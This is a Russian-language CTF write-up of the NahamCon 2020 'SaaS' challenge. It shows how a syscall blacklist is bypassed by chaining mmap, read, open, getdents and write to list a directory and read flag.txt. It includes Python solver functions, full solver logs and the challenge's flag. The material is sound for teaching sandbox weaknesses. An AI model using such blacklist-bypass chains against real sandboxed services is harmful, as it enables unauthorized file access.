С появлением таких инструментов, как AuditD, SECCOMP и SELinux, у нас появились правила для отключения списка системных вызовов Linux с помощью механизма черного списка. Их можно использовать для усиления безопасности инфраструктуры, но им нельзя слепо доверять. Мы рассмотрим упрощенную версию этой проблемы в проекте NahamCon CTF Challenge SaaS (Syscall as a service).

Вы слышали о программном обеспечении как услуге, но слышали ли вы о системных вызовах как услуге?

Связаться с:
nc jh2i.com 50016

saas

Программа позволяет нам запускать любой системный вызов, указав значения rax и других регистров. Первая идея - просто запустить execve с / bin / bash, чтобы получить оболочку, но есть черный список, который усложняет эту задачу:

Программа не позволяет нам запускать номера системных вызовов: 59, 57, 56, 62, 101, 200. 322. Мы можем использовать таблицу системных вызовов x64, чтобы понять их смысл. Они переводятся на:

sys_execve, sys_fork, sys_clone, sys_kill, sys_ptrace, sys_tkill, stub_execveat

Я попытался найти другие системные вызовы в Linux, которые позволяют нам запускать двоичный файл по абсолютному пути, но ничего ясного в голову не приходит. Позже я попытался построить свою собственную функциональность с помощью системных вызовов: mmap, read, write, open, getdent, getcwd.

Во-первых, давайте просто получим текущий рабочий каталог:

  1. mmap записываемая память в постоянном месте, которое мы предоставляем (0x10000).
  2. Поместите наш ввод в этот адрес памяти, используя системный вызов read.
  3. Предоставление указателя (0x1000) на getcwd.
  4. используйте write, чтобы записать 0x100 байтов из нашего указателя на стандартный вывод.
root@ctf-VirtualBox:~/naham# python solve.py                                                  
[+] Opening connection to jh2i.com on port 50016: Done
checkpoint                        
('syscall', [9, 4096, 1024, 7, 34, 0, -1])
('Welcome to syscall-as-a-service!\n\nEnter rax (decimal):', 54)
('Enter rdi (decimal):', 20)                                                                   
('Enter rsi (decimal):', 20)            
('Enter rdx (decimal):', 20)                                                                  
('Enter r10 (decimal):', 20)         
('Enter r9 (decimal):', 19)                                        
('Enter r8 (decimal):', 19) 
('syscall', [79, 66048, 256, 0, 0, 0, 0])
('Rax: 0x10000\n\nEnter rax (decimal):', 34)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('syscall', [1, 1, 65792, 1024, 0, 0, 0])
('Rax: 0x10\n\nEnter rax (decimal):', 31)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('/home/challengeRax: 0x400\n\nEnter rax (decimal): ', 1057)
[*] Switching to interactive mode
Sorry too slow try scripting your solution.
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to jh2i.com port 50016

Наш текущий рабочий каталог - / home / challenge. Теперь мы можем получить список файлов в этом каталоге, используя системный вызов gedent.

int getdents(unsigned int fd, struct linux_dirent *dirp,
                    unsigned int count);
       The system call getdents() reads several linux_dirent structures from
       the directory referred to by the open file descriptor fd into the
       buffer pointed to by dirp.  The argument count specifies the size of
       that buffer.

Запишем имя каталога в память с помощью чтения:

def read(s = "/home/challenge/\0"):
    args = [0, 0, 0x10000, len(s), 0, 0, 0]
    syscall(args)
    r.sendline(s)

Откроем каталог с флагом O_DIRECTORY.

def opendir(addr = 0x10000):
    args = [2, addr, 65536, 0, 0, 0, 0]
    syscall(args)

Уведомление 65536 - это 0200000, которое является восьмеричным значением флага для O_DIRECTORY. Мы используем наш адрес 0x10000 для пути. Мы можем предоставить этот номер fd получателям, чтобы получить список каталогов по выбранному нами адресу:

def getdents(fd = 6, addr = 0x10100, count = 0x400):
    args = [78, fd, addr, count, 0, 0,0]
    syscall(args)

Я заметил, что в удаленном режиме новый открытый fd получает номер 6 каждый раз. Вызов гетдентов получит до 0x400 байт данных; список файлов из каталога, на который указывает fd.

Давайте прочитаем из этого сегмента памяти 0x10100 и выведем на стандартный вывод.

def write(addr = 0x10100, fd = 1):
    args = [1, fd, addr, 0x400, 0,0,0]
    syscall(args)
    abc = r.recv(timeout=2)
    print (abc.replace("\x00", ""), len(abc))

Получаем с пульта:

('\xd2\xb4\x91\x01 .bashrc\x08\xd3\xb4\x91\x02 .profile\x08\xd0\xb4\x91\x03\x18.\x04\xd1\xb4\x91\x04
.bash_logout\x08\xcf\xb4\x91\x05\x18..\x04\xd5\xb4\x91\x06\x18saas\x08\xd4\xb4\x91\x07 flag.txt\x08', 1024)

Не обращайте внимания на непечатаемые байты, они являются частью структуры linux_dirent.

struct linux_dirent {
	unsigned long	d_ino;
	unsigned long	d_off;
	unsigned short	d_reclen;
	char		d_name[1];
};

Мы все еще можем извлечь из него имена файлов, и мы видим весь интересный файл flag.txt. Возьмем содержимое файла flag.txt:

Сначала запишите в память /home/challenge/flag.txt:

def read(s = "/home/challenge/flag.txt\0"):
    args = [0, 0, 0x10000, len(s), 0, 0, 0]
    syscall(args)
    r.sendline(s)

Затем используйте открытый системный вызов с флагом O_RDONLY, прочтите 0x400 байт.

def readfile(addr=0x10100, fd = 6):
    args = [0, fd, addr, 0x400, 0, 0, 0]
    syscall(args)

Используйте запись, чтобы распечатать его на экране:

def write(addr = 0x10100, fd = 1):
    args = [1, fd, addr, 0x400, 0,0,0]
    syscall(args)
    abc = r.recv(timeout=2)
    print (abc.replace("\x00", ""), len(abc))

Вот последний решатель:

Вот наш флаг :)

root@ctf-VirtualBox:~/naham# python solve.py 
[+] Opening connection to jh2i.com on port 50016: Done
checkpoint
('syscall', [9, 4096, 1024, 7, 34, 0, -1])
('Welcome to syscall-as-a-service!\n\nEnter rax (decimal):', 54)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('syscall', [0, 0, 65536, 25, 0, 0, 0])
('Rax: 0x10000\n\nEnter rax (decimal):', 34)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('syscall', [2, 65536, 0, 0, 0, 0, 0])
('Rax: 0x19\n\nEnter rax (decimal):', 31)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('syscall', [0, 6, 65792, 1024, 0, 0, 0])
('Rax: 0x6\n\nEnter rax (decimal):', 30)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('syscall', [1, 1, 65792, 1024, 0, 0, 0])
('Rax: 0x1f\n\nEnter rax (decimal):', 31)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('flag{rax_rdi_rsi_radical_dude}\nRax: 0x400\n\nEnter rax (decimal): ', 1057)

Веселая задача. Спасибо команде CTF NahamCon 2020 за такой потрясающий опыт.